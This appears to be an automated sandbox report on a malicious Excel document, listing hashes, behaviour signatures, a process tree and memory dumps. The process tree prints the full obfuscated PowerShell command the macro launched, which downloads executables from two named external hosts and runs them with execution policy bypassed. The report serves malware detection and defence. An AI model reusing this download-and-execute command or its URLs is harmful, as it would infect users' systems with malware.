Analysis

  • max time kernel
    26s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    22-07-2024 22:18

General

  • Target

    522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls

  • Size

    50KB

  • MD5

    be48c26f93d365d34256f295518f7c5f

  • SHA1

    678bcb970e4b656ab4de7d92b3937d071f0fbf11

  • SHA256

    522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595

  • SHA512

    a1d865d727fa270b759513e5472588b3045d948d4218a4043cfe3537a24231f5c93087da0eb8c7c4887c032e80693796858ba71d111373277a2e020bd19e5c5f

  • SSDEEP

    768:cnvd4joBriV7prNEPrW+L7uXjNyEnQm0:cmjoBri3mzhPUJyY

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1732
    • C:\Windows\SysWOW64\CMd.exe
      CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:564

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1732-1-0x0000000071DBD000-0x0000000071DC8000-memory.dmp

    Filesize

    44KB

  • memory/1732-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1732-4-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-3-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-2-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-5-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-45-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-6-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-33-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-31-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-28-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-67-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-75-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-87-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-96-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-7-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-306-0x00000000066B0000-0x00000000067B0000-memory.dmp

    Filesize

    1024KB

  • memory/1732-305-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-109-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-108-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-107-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-97-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-95-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-94-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-93-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-92-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-91-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-90-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-89-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-88-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-86-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-76-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-74-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-73-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-72-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-71-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-70-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-69-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-68-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-66-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-65-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-55-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-54-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-53-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-52-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-51-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-50-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-49-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-48-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-47-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-46-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-44-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-34-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-32-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-30-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-29-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-27-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-26-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-25-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-24-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-23-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-13-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-12-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-11-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-10-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-9-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-8-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-468-0x0000000071DBD000-0x0000000071DC8000-memory.dmp

    Filesize

    44KB

  • memory/1732-469-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1732-470-0x00000000066B0000-0x00000000067B0000-memory.dmp

    Filesize

    1024KB